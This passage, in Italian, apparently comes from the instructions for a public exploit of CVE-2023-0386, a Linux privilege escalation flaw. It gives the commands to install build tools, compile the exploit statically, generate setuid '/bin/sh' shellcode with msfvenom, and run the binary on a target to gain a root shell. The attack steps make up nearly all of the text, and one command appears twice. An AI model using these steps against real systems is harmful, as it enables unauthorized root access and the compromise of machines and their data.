
CVE-2023-0386 contiene le librerie runtime necessarie.
Installa l'ambiente di compilazione
sudo apt install -y gcc libfuse-dev pkg-config
Compila l'exploit
gcc -Wall CVE-2023-0386.c `pkg-config fuse --cflags --libs` -D_FILE_OFFSET_BITS=64 -o CVE-2023-0386-exp -static -lfuse
Genera lo shellcode
msfvenom -p linux/x86/exec CMD=/bin/sh PrependSetuid=True -f elf -o shellcode.elf && xxd -i -c 8 shellcode.elf
xxd -i -c 8 shellcode.elf
Esegui sul target, non è necessario che il target abbia installato gcc o un ambiente simile
chmod +x CVE-2023-0386-exp && ./CVE-2023-0386-exp